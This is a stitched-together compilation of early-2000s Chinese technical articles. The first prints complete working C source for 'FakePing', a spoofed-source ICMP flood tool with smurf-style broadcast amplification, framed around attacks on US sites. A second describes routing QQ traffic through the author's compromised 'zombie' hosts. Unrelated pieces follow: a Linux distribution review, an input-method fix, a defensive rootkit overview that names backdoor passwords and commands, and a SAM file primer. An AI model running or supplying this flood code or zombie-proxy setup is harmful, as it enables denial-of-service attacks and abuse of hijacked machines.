闲话少说，我们今天是来说Ping的，Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具，很久以前，一部分作系统（例如win95），不能很好处理过大的Ping包，导致出现了Ping to Death的攻击方式（用大Ping包搞垮对方或者塞满网络），随着作系统的升级，网络带宽的升级、计算机硬件的升级，目前，大Ping包基本上没有很大的攻击效果（分布式攻击除外），如果一定要使用Ping包去攻击别的主机，除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度（所谓正反馈）

正常情况下，Ping的流程是这样的:
主机A发送ICMP 8,0报文给主机B
主机B回送ICMp 0,0报文给主机A
因为ICMP基于无连结，所以就给了我们可乘之机，假设现在主机A伪装成主机C发送ICMP 8,0报文，结果会怎么样呢?显然，主机B会以为是主机C发送的报文而去

回应主机C，结构如下：

         伪装为主机C 错误的回复
主机A--------------------->主机B------------------>主机C
这种情况下，由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply，所以攻击力度成倍的增加，同时实际上主机B和主机C都是被进攻的目标，而且

不会留下自己的痕迹，是一种隐蔽的一石二鸟的攻击方法。

上面的方法用SOCK_RAW伪装IP就可以轻松实现，不过即使放大了两倍，对于比较强壮的作系统和较大的带宽，也不见得有多大的效果，难道我们又来组织运动？不好吧，还是让敌人给我们放大好了，TCP/IP中有一个概念叫做广播，所谓广播的意思是说有一个地址，任何局域网内的主机都会接收发往这个地址的报文（就像电台广播一样），要是？难道？没错！如果我们往广播地址发送一个ICMP ECHO报文（就是Ping广播地址一下），结果会得到非常多的回应，以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY，如果你想试验，可以在unix的机器上Ping一下你局域网的广播地址，会看到很多回应的的dup包，就是重复的应答，windows系统上不会有这样的结果，因为微软的Ping程序不对多个回应进行解包，收到第一个包以后就丢弃后面的了，同样微软的系统默认也不回应广播地址的包，所以你最好在一个大量unix主机的局域网内测试。

说到这里，聪明的你肯定知道我想干什么了吧？嘿嘿嘿嘿，没错，当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候，所有这个广播地址内的主机都会回应这个Ping请求（当然是回应给被攻击主机啦，人人都以为是它Ping的呢），这样，相当于是N倍的攻击力度！（N=广播地址内回应Ping包的主机数量）

我写了一个FakePing的工具，可以在Http://www.patching.net/shotgun/FakePing.exe下载，使用方法是FakePing.exe　FakeIP　TargetIP

[PacketSize]，如果TargetIP是广播地址，那么FakeIP是被攻击目标.
源码公布如下：（写的比较匆忙，代码比较乱，见笑了）
//////////////////////////////////////////////////////////////////////////
//　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　//
//　　　FakePing For Win2K by Shotgun　　　　　　　　　　　　　　　　　 //
//　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　//
//　　　Released:　　　 [2001.4]　　　　　　　　　　　　　　　　　　　　//
//　　　Author:　　　　 [Shotgun]　　　　　　　　　　　　　　　　　　　 //
//　　　Homepage:　　　　　　　　　　　　　　　　　　　　　　　　　　　 //
//　　　　　　　　　　　　　　　[http://IT.Xici.Net]　　　　　　　　　　//
//　　　　　　　　　　　　　　　[http://WWW.Patching.Net]　　　　　　　 //
//　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　//
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>

#define SEQ 0x28376839
#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; 　　　　//3位标志位
unsigned char　ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;

//
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号（一般用进程号作为识别号）
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
  unsigned long cksum=0;
  while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
  }
  if(size ) {
cksum += *(UCHAR*)buffer;
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}

//FakePing主函数
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
{
printf("FakePing by Shotgun\n");
printf("\tThis program can do Ping-Flooding from a FakeIP\n");
printf("\tUsing a BroadCast IP as the FakeIP will enhance the effect\n");
printf("Email:\n");
printf("tShotgun@Xici.Net\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n");
printf("Example:\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>3) PacketSize=atoi(argv[3]);
if (PacketSize>60000)
{
printf("Error! Packet size too big, must <60K\n");
exit(0);
}
printf("Now Fake %s　Ping %s　using Packet size=%d bytes\n",
FakeSourceIp, DestIp, PacketSize);
printf("\tCtrl+C to Quit\n");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
    //高四位IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度（字节）
ip_header.ident=1;

//16位标识
ip_header.frag_and_flags=0;

//3位标志位
ip_header.ttl=128;

//8位生存时间 TTL
ip_header.proto=IPPROTO_ICMP;

//8位协议 (TCP, UDP 或其他)
ip_header.checksum=0;

//16位IP首部校验和
ip_header.sourceIP=inet_addr(FakeSourceIp); //32

位源IP地址
ip_header.destIP=inet_addr(DestIp);

//32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
while(1)
{
Sleep(100);
printf(".");
for(counter=0;counter<1024;counter++)
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}
}
}//End of try
  __finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
  }
  return 0;
}

结语：
爱国主义是必要的，热情是不可少的，但是技术这个东西来不得半点虚假，来不得半点冲动，是要靠老老实实慢慢钻研的，FakePing技术在互联网上不是什么新技术，很久以前被我们唾弃攻击的美国人就实现过了，难道我们现在还要去组织多少万人去冲击互联网出口？

依靠智慧和知识的阿基米德，曾经用镜子保护了自己的家园，难道我们现在还要靠冲动和盲目去强国富民么？

少点冲动和盲目，多点扎实和刻苦，否则吃苦的还是自己。

  Patching Heroes......
中华补天

补充日期: 2001-05-06 11:16:07

撰写本文的目的不是号召大家用FakePing工具去攻击美国站点，只是想略微展示一下用技术能做到什么。

如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮，FakePing也只能算得上是火枪而已，而美国已经研制出了航空母舰（作系统），难道用大刀、长枪、火枪去对抗航母？
这样是很悲壮，但是没有别的方法了？我们不能回去研制自己的战列舰？

要是二炮的专家们也出来参加Ping, 要是西昌的技术人员也去搞运动，我们不亡国才怪!

  Patching Heroes......
中华补天


QQ动态代理IP技术

作者的话：本文绝对原创。之前我也不知道这种技术，只是听说过有人QQ的IP是动态的。当时我也觉得很新奇，找过很多网站，但都没用看到有关这种技术的介绍。（估计，会的人不想拿出来分享，不过没关系，求人不如靠自己！）我自己琢磨了一下~ 但我的测试是不成功的。我写出这篇文章，是给大家作为参考，希望大家能从中得到启发，解决我所出现的问题。并且让更多的人掌握这种技术~~~技术，不是一个人的~我们希望它能共享，这样才能进步~~！！！！

涉及到的工具：（在灰色轨迹全部有下载）
1,SocksCap V2 (很多人都用它跟skserverGUI做组合跳板)
2,MultiProxy 1.1 (这本来是一个动态代理IE的软件，我从她的“动态”功能里，想到了和SocksCap的组合)
开始了~ 先看看MultiProxy的界面吧。如图：

“选项”，先要设置一下阿…..

注意上面的地方….设置“接受连接端口1913” //我不想在改sockscap,所以用的这个端口， 你们可以用默认的，或自己改。
在“代理服务器列表”中添加你的QQ代理~~（用snake的sksockserver做的阿~
P.S: 最好先在QQ上面测试能通过的）
鼠标右键…. 添加……

ok，我添加了4台…..
**注意**：当你添加完一个服务器后，MultiProxy会自动验证~ 由于这个软件只是为了IE的http代理，没有sock5，所以会验证不成功，显示红色图标~ 不过，不用理他~~~

在一台ip上面点鼠标右键，选“强制设置为有效”…变绿了？ 呵呵。 如图

确定把~
好啦，现在回到主窗口了…. //暂时不理他拉， 换SocksCap出场~ 恩… 也许有人还不会SocksCap，这里也顺便说说设置~

点“文件”-------“设置”（如图） 注意端口一定要是你刚才图2，设置的那个端口。IP设为本机IP: 127.0.0.1 选sock版本5---“由本地端解析所有域名”

确定后，回到主画面~
好啦，把你的QQ的图标拖进去，选“新建应用程序标示项”如图，

确定之后，就可以看到你的QQ的icon在那里面了。
好了，万事俱备，只差东风了~~~~我的问题也来了。
运行SocksCap 控制台里的QQ，填好密码，登陆….

(P.S:我这里QQ会一只处于登陆状态，所以先离线在上线，就行了~)
哇，看到熟悉的画面了…此时注意你的MultiProxy窗口出现的状况~你的QQ正在向代理发送数据~并且马上你的QQ就能上线成功.

下面我用我的另外一个QQ（显IP）看我的IP 如图：

看清楚了：***.***.69.2:1040 以色列 //我的肉鸡
现在改变IP了，只要把QQ下线，在上线，你的IP又变了。看看 ，如图:

看到吗？***.***.128.3 澳大利亚 //我的肉鸡

在下线，在上来： ***.***.181.8 意大利 //我的肉鸡

问题：我只有刷新时，QQ的IP才会改变,并不会出现同步动态IP的现象，我不知道有没有人是可以同步动态IP的..至少我不行~~~而且，这样用了之后，好友发信息给你，马上能收到，但发给人家，就要等等了~~ 不知道是不是我的网速（我用的56K小猫）或我的肉鸡的问题，希望网速快的试试，要是真的可以实现同步动态IP，那就真的!@@$%^&)#@#$)_ ～酷必了．．．如果，这个方法本身就不行的话，我只希望大家能从中得到一点启发，想到更好的方法～～～

结语：这是本人的第一次有图的东东，所以不是很会排版，看起来有点乱，希望大家见谅～～本人菜鸟一名，有什么不对的地方请你指正。欢迎大家转载，请保持文章的完整性，以及注明原作者，也是就我（Coolcat）和出处（灰色轨迹)~
联系我请到灰色轨迹G.T.O (www.sandflee.net)


Red Hat 7.1和Mandrake 8.0的比较

在短短的几天内Mandrake和Redhat公司分别发布了自己的最新版本：Mandrake 8.0和Redhat 7.1。目前市场上Reahat是最容易安装发布，其具有最大的市场占有率，而基于Redhat的Mandrake则紧跟其后。在经过几年的发展以后两个基于包管理技术的发布能最终在市场上胜出呢？下面我们就对两个公司的最新发布进行比较。

特性比较 　 Mandrake 8.0 Red Hat 7.1
Kernel 2.4.3 2.4.2
XFree86 4.0.3 4.0.3
Gnome 1.4 1.2
KDE 2.1.1 2.1.1

Mandrake和Red Hat非常类似，两者看上去让人有其中一个是从另外一个发展来的感觉。在这个变化快的世界里这两个发布都有些过时了，因为当前Linux2.4.4内核已经刚刚被发布。但是相对来讲Mandrake在软件版本方面要比RedHat新一些。

两个发布都实现了图形化的、基于包的安装方式。两种发布的默认安装设置都能满足一般的用户需求。RedHat提供了多种类型的安装模式，例如工作站模式、服务器模式及定制模式(在该模式下用户可以根据需要单独选择软件包)，用户可以根据自己的需求选择适当的模式进行安装。而Mandrake则提供了以一系列“任务”，每个任务包括一个软件集。用户则可以为选择游戏任务、Web/FTP任务，则两个软件集合将都被安装。Redhat有一个类似的根据任务进行安装的方法，但是只有KDE、Gnome和游戏三个任务选项。

在两个发布中，用户都可以选择是安装Gnome还是KDE，或者两者都安装。而有趣的是Mandrake允许用户选择设置一个不需用密码的root账号，这是非常糟糕的，虽然可以不设定root密码可以带来方便，但是这是一个非常严重的安全隐患。而且在Mandrake中如果你打开了一个console，则telnet就不被默认安装。这对于很多用户来说是非常糟糕的。对于手动选择是否安装如pine等软件是可以理解的，但是telnet是Linux机器的一个基本功能，默认不安装它是非常麻烦的。甚至Windows都默认的安装一个telnet客户程序。

对于网络配置来说，两个发布在测试中都能成功的检测出系统的网卡类型并使用DHCP对主机进行配置。RedHat没有要求用户进行任何相关配置。它自行选择一个主机名。Mandrake则要求我输入一个完整的主机名，虽然你忽略主机名配置，网络仍然能顺利的被自动成功配置。在默认的安装中，两个发布都没有询问需要安装哪个版本的X Windows。Mandrake询问是否需要一个默认用户，在登录时将自动以该用户登录，而且Mandrake询问我希望哪个环境KDE、Gonme或sawfish被设置为默认。

Nautilus

Mandrake 8.0发布中包含了Nautilus－新的Gnome文件管理器和桌面。在桌面的功能特性中，发现GMC和Nautilus从界面上是相同的。Nautilus在桌面添加了以个文件垃圾箱，这导致其内存使用量是GMC的将近两倍。在测试中比率是10M/5.2M。其中Eazel新添加了一些令人感兴趣的特性，例如在线文件存储和软件目录。当然也可以不使用Nautilus作为桌面仍然保持这些特性。

在文件管理方面Nautilus有良好的表现。虽然在某些情况下Nautilus比GMC速度要慢一些，但是它却具有很多非常好的功能特性。包括以thumbnail方式察看图像微缩图，通过对硬盘文件建立索引而实现对硬盘文件的快速搜索(类似console中的Locate功能)。总的来说Nautilus是一个前景看好的文件管理器，但是其作为桌面并不具有特别的优势，虽然它可能最终替代GMC。另外如果你以root身份登录进入Nautilus桌面，其将警告你，这可能令人感到厌烦。

界面

一旦安装了Mandrake或Red Hat，登录进入系统以后，将遇到两个非常类似的桌面。Mandrake的桌面具有更加流畅的外表，虽然从功能上来讲和Redhat并没有什么区别，但是Mandrake的桌面从视觉上更加吸引人。从 除了这些两者的界面是一样的Mandrake在测试时使用的21寸显示器自动设置分辨率为1280x1024。而Redhat则会询问用户设置分辨率，默认是1024x768.区别在于用来配置发布的applet的不同而已。

配置

RedHat提供了一些非集成的图形化的配置工具应用程序来配置网络、驱动、防火墙和打印机，其中的一些这样的应用程序在主要版本的RedHat变化很小，但是它们应该能够进行一个改进和优化。而Mandrake根据Redhat发布进行改进时，却丢弃了这些应用，而创造出了有自己特色的配置工具应用程序，这可能算是Mandrake相对于Redhat而言的一个重要特色。Mandrake的配置工具完全集成到了Mandrake配置中心。通过该配置中心用户可以找到对硬件、网络、防火墙、安全级别、启动设定、字体、时钟和更多的选项的配置。其中网络配置工具的功能要远比Redhat的网络配置工具来的方便和易用。虽然Redhat在安装过程中提供了很好的网络配置方法，但是如果用户希望在安装以后修改网络配置就会发现易用性不见了。因为你需要手工的通过netcfg程序来进行配置。而Mandrake提供一个网络配置导引，其能自动的配置大多数网络连接。

在Redhat中没有提供图形化的硬件管理功能，而是依赖于启动时的一个硬件检测功能。Mandrake提供了一个优秀的硬件applet－Harddrake，其将为用户显示系统所有的硬件并允许用户对硬件运行配置程序，包括USB设备。在这个方面Mandrake是明显的要优于Redhat。

杂类

RedHat和Mandrake都提供了高于2.4.1的系统内核。2.4.1是第一个支持ReiserFS文件系统的内核。Mandrake从7.1版本开始就支持ReiserFS文件系统，但是当时是通过一个特别定制的内核。Mandrake最新版本通过内建的内核仍然支持ReiserFS文件系统，但是Redhat仍然没有决定支持ReiserFS文件系统。在我们看来这是一个非常大的失误，由于ReiserFS文件系统逐渐得到认可。ReiserFS要远远优于ext2，因为如果在系统崩溃的情况下用户不需要等待整个文件系统被扫描。只需要ReiserFS回转自己的log即可，最多需要13秒。

安装速度：由于某些原因，从光盘以定制模式安装Mandrake速度出奇的慢。两个发布在进行大规模定制安装时都需要花费很长时间。但是Mandrake在某段安装时间好像没有做任何工作而只是等待。

包管理

这两种发布都提供了基于RPM包管理方式的软件管理方式。RPM是有Redhat公司开发的用来在Linux环境下实现软件安装管理自动化的软件。用户对待RPM有两种不同的态度：对于那些使用Linux是因为它们感觉Linux比windows好或因为它们不希望支付微软高额软件费用的人来说，它们非常欢迎RPM，因为它提供了非常简单的安装软件的方法。而纯Linux主义者则痛恨RPM，它们认为RPM使Linux失去了某些特性＝也就是在不同发布之间的交互性。但是对于一般的开始使用Linux的PC用户来说，RPM是一个福音。现在包管理已经成为很多发布的选择。而且Redhat和Mandrake的包管理软件可以实现在线自动更新系统中的软件包。

Redhat的包管理器GnoRPM可以显示当前系统安装的包，但是为了安装新的软件包或从安装盘上安装软件包，用户需要使用find工具。Mandrake同样使用了find工具，但是它同样提供用户遍历初使安装时的原始安装列表来查找和安装那些在初次安装时没有安装的软件包。两种方法都使发现和安装软件包更加容易，虽然Mandrake的实现相对更加流畅一些，因为它使用户更加容易定位希望安装的软件包。其中对于GnoRPM常听到的一个抱怨是针对Mandrake的，因为它每次加载该程序时它都会对安装CD进行重新建立索引。

包含的软件

两种发布都默认带有数学、编程、字处理、电子表格、编辑、多媒体和任何其他的工具软件。而且都随盘带有Mozilla，对于那些希望使用除了Netscape以外的浏览器的用户来说是一件令人高兴的事情。Mandrake发布中带的是Mozilla 0.8，而Redhat发布中带的是老版本的的Mozilla 0.7。在两种发布的软件方面来说两者没有太大的区别。

哪个发布更好一些呢？

两种发布的都有自己的长处和特点。RedHat更注重Linux的商务应用。Mandrake更注重终用户，它的目标锁定于希望了解什么是Linux，及希望了解为什么那么多的人对Linux这么狂热的Linux新用户。最后，作为个人来说我更喜欢Mandrake－它相对Redhat来说集成性更强，其中的软件更新一些。


redhat7.2中文输入法

redhat7.2缺省安装时，把Chinput.ad安装在/usr/lib/Chinput中，而该文件中的big5字体缺找不到，NND，RedHat公司的白痴居然连这都搞不好（只给台湾的搞了，没给咱搞），导致中文输入不能用。
OK，修改一下这几行（结果为）：
Chinput.gblocale = zh_CN.GB2312
chinput.big5locale = zh_CN.GB2312
…..
chinput.gbfont = -*-*-*-*-*--*-*-*-*-*-*-gb2312.1980-0
chinput.big5font = -*-*-*-*-*--*-*-*-*-*-*-gb2312.1980-0
这样就好了，记住，这个文件是用Tab来分隔的，所以千万别用空格哦。
运行chinput，现在就能出来绿色的[ok]标志了。打开一个kedit，用ctrl+spacebar试试？
================================

呵呵，我就是用这个方法装上了中文输入法，有拼音，有五笔，爽呆了！


rootkit综述
(Linux)

作者:nixe0n

在网络安全中经常会遇到rootkit，NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)对rootkit的定义如下：A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network,mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of operating systems.

好多人有一个误解，他们认为rootkit是用作获得系统root访问权限的工具。实际上，rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常，攻击者通过远程攻击获得root访问权限，或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后，如果他还没有获得root权限，再通过某些安全漏洞获得系统的root权限。接着，攻击者会在侵入的主机中安装rootkit，然后他将经常通过rootkit的后门检查系统是否有其他的用户登录，如果只有自己，攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后，攻击者就会利用这些信息侵入其它的系统。

什么是rootkit

Rootkit出现于二十世纪90年代初，在1994年2月的一篇安全咨询报告中首先使用了rootkit这个名词。这篇安全咨询就是CERT-CC的CA-1994-01，题目是Ongoing Network Monitoring Attacks，最新的修订时间是1997年9月19日。从出现至今，rootkit的技术发展非常迅速，应用越来越广泛，检测难度也越来越大。其中针对SunOS和Linux两种操作系统的rootkit最多(树大招风:P)。所有的rootkit基本上都是由几个独立的程序组成的，一个典型rootkit包括：

以太网嗅探器程程序，用于获得网络上传输的用户名和密码等信息。

特洛伊木马程序，例如：inetd或者login，为攻击者提供后门。

隐藏攻击者的目录和进程的程序，例如：ps、netstat、rshd和ls等。

可能还包括一些日志清理工具，例如：zap、zap2或者z2，攻击者使用这些清理工具删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。

一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。

还包括一些用来清理/var/log和/var/adm目录中其它文件的一些脚本。

攻击者使用rootkit中的相关程序替代系统原来的ps、ls、netstat和df等程序，使系统管理员无法通过这些工具发现自己的踪迹。接着使用日志清理工具清理系统日志，消除自己的踪迹。然后，攻击者会经常地通过安装的后门进入系统查看嗅探器的日志，以发起其它的攻击。如果攻击者能够正确地安装rootkit并合理地清理了日志文件，系统管理员就会很难察觉系统已经被侵入，直到某一天其它系统的管理员和他联系或者嗅探器的日志把磁盘全部填满，他才会察觉已经大祸临头了。但是，大多数攻击者在清理系统日志时不是非常小心或者干脆把系统日志全部删除了事，警觉的系统管理员可以根据这些异常情况判断出系统被侵入。不过，在系统恢复和清理过程中，大多数常用的命令例如ps、df和ls已经不可信了。许多rootkit中有一个叫做FIX的程序，在安装rootkit之前，攻击者可以首先使用这个程序做一个系统二进制代码的快照，然后再安装替代程序。FIX能够根据原来的程序伪造替代程序的三个时间戳(atime、ctime、mtime)、date、permission、所属用户和所属用户组。如果攻击者能够准确地使用这些优秀的应用程序，并且在安装rootkit时行为谨慎，就会让系统管理员很难发现。

LINUX ROOTKIT IV

前面说过，大部分rootkit是针对Linux和SunOS的，下面我们介绍一个非常典型的针对Linux系统的rootkit--Linux Rootkit IV。Linux Rootkit IV是一个开放源码的rootkit，是Lord Somer编写的，于1998年11月发布。不过，它不是第一个Linux Rootkit，在它之前有lrk、lnrk、lrk2和lrk3等Linux Rootkit。这些rootkit包括常用的rootkit组件，例如嗅探器、日志编辑/删除工具、和后门程序的。

经过这么多年的发展，Linux Rootkit IV功能变的越来越完善，具有的特征也越来越多。不过，虽然它的代码非常庞大，却非常易于安装和使用，只要执行make install就可以成功安装。如果你还要安装一个shadow工具，只要执行make shadow install就可以了。注意：Linux Rootkit IV只能用于Linux 2.x的内核。下面我们简单地介绍一下Linux Rootkit IV包含的各种工具，详细的介绍请参考其发布包的README文件。

隐藏入侵者行踪的程序

为了隐藏入侵者的行踪，Linux Rootkit IV的作者可谓煞费心机，编写了许多系统命令的替代程序，使用这些程序代替原由的系统命令，来隐藏入侵者的行踪。这些程序包括：

ls、find、du

这些程序会阻止显示入侵者的文件以及计算入侵者文件占用的空间。在编译之前，入侵者可以通过ROOTKIT_FILES_FILE设置自己的文件所处的位置，默认是/dev/ptyr。注意如果在编译时使用了SHOWFLAG选项，就可以使用ls -/命令列出所有的文件。这几个程序还能够自动隐藏所有名字为：ptyr、hack.dir和W4r3z的文件。

ps、top、pidof

这几个程序用来隐藏所有和入侵者相关的进程。

netstat

隐藏出/入指定IP地址或者端口的网络数据流量。

killall

不会杀死被入侵者隐藏的进程。

ifconfig

如果入侵者启动了嗅探器，这个程序就阻止PROMISC标记的显示，使系统管理员难以发现网络接口已经处于混杂模式下。

crontab

隐藏有关攻击者的crontab条目。

tcpd

阻止向日志中记录某些连接

syslogd

过滤掉日志中的某些连接信息

木马程序

为本地用户提供后门，包括：

chfn

提升本地普通用户权限的程序。运行chfn，在它提示输入新的用户名时，如果用户输入rookit密码，他的权限就被提升为root。默认的rootkit密码是satori。

chsh

也是一个提升本地用户权限的程序。运行chsh，在它提示输入新的shell时，如果用户输入rootkit密码，他的权限就被提升为root。

passwd

和上面两个程序的作用相同。在提示你输入新密码时，如果输入rookit密码，权限就可以变成root。

login

允许使用任何帐户通过rootkit密码登录。如果使用root帐户登录被拒绝，可以尝试一下rewt。当使用后门时，这个程序还能够禁止记录命令的历史记录。

木马网络监控程序

这些程序为远程用户提供后门，可以向远程用户提供inetd、rsh、ssh等服务，具体因版本而异。随着版本的升级，Linux Rootkit IV的功能也越来越强大，特征也越来越丰富。一般包括如下网络服务程序：

inetd

特洛伊inetd程序，为攻击者提供远程访问服务。

rshd

为攻击者提供远程shell服务。攻击者使用rsh -l rootkitpassword host command命令就可以启动一个远程root shell。

sshd

为攻击者提供ssh服务的后门程序。

工具程序

所有不属于以上类型的程序都可以归如这个类型，它们实现一些诸如：日志清理、报文嗅探以及远程shell的端口绑定等功能，包括：

fix

文件属性伪造程序

linsniffer

报文嗅探器程序。

sniffchk

一个简单的bash shell脚本，检查系统中是否正有一个嗅探器在运行。

wted

wtmp/utmp日志编辑程序。你可以使用这个工具编辑所有wtmp或者utmp类型的文件。

z2

utmp/wtmp/lastlog日志清理工具。可以删除utmp/wtmp/lastlog日志文件中有关某个用户名的所有条目。不过，如果用于Linux系统需要手工修改其源代码，设置日志文件的位置。

bindshell

在某个端口上绑定shell服务，默认端口是12497。为远程攻击者提供shell服务。

如何发现rootkit

很显然，只有使你的网络非常安装让攻击者无隙可乘，才能是自己的网络免受rootkit的影响。不过，恐怕没有人能够提供这个保证，但是在日常的网络管理维护中保持一些良好的习惯，能够在一定程度上减小由rootkit造成的损失，并及时发现rootkit的存在。

首先，不要在网络上使用明文传输密码，或者使用一次性密码。这样，即使你的系统已经被安装了rootkit，攻击者也无法通过网络监听，获得更多用户名和密码，从而避免入侵的蔓延。

使用Tripwire和aide等检测工具能够及时地帮助你发现攻击者的入侵，它们能够很好地提供系统完整性的检查。这类工具不同于其它的入侵检测工具，它们不是通过所谓的攻击特征码来检测入侵行为，而是监视和检查系统发生的变化。Tripwire首先使用特定的特征码函数为需要监视的系统文件和目录建立一个特征数据库，所谓特征码函数就是使用任意的文件作为输入，产生一个固定大小的数据(特征码)的函数。入侵者如果对文件进行了修改，即使文件大小不变，也会破坏文件的特征码。利用这个数据库，Tripwire可以很容易地发现系统的变化。而且文件的特征码几乎是不可能伪造的，系统的任何变化都逃不过Tripwire的监视(当然，前提是你已经针对自己的系统做了准确的配置:P，关于Tripwire和aide的使用请参考本站的相关文章)。最后，需要能够把这个特征码数据库放到安全的地方。

前一段时间，写了几篇rootkit分析文章，这篇权且作为这一系列文章的总结，到此为止。但是在最近发布的Phrack58-0x07(Linux on-the-fly kernel patching without LKM)中实现一个直接修改内核数据结构的rootkit，因此决定写一个续篇。:P


SAM文件基础知识

windows NT及win2000中对用户帐户的安全管理使用了安全帐号管理器(security account manager)的机制,安全帐号管理器对帐号的管理是通过安全标识进行的，安全标识在帐号创建时就同时创建，一旦帐号被删除，安全标识也同时被删除。安全标识是唯一的，即使是相同的用户名，在每次创建时获得的安全标识都时完全不同的。因此，一旦某个帐号被删除，它的安全标识就不再存在了，即使用相同的用户名重建帐号，也会被赋予不同的安全标识，不会保留原来的权限。

安全账号管理器的具体表现就是%SystemRoot%\system32\config\sam文件。sam文件是windows NT的用户帐户数据库,所有NT用户的登录名及口令等相关信息都会保存在这个文件中。sam文件可以认为类似于unix系统中的passwd文件,不过没有这么直观明了。passwd使用的是存文本的格式保存信息，这是一个linux passwd文件内容的例子

0: root:8L7v6:0:0:root:/root:/bin/bash
1: bin:*:1:1:bin:/bin:
2: daemon:*:2:2:daemon:/sbin:
3: adm:*:3:4:adm:/var/adm:
4: lp:*:4:7:lp:/var/spool/lpd:
5: sync:*:5:0:sync:/sbin:/bin/sync
6: shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
7: halt:*:7:0:halt:/sbin:/sbin/halt
8: mail:*:8:12:mail:/var/spool/mail:
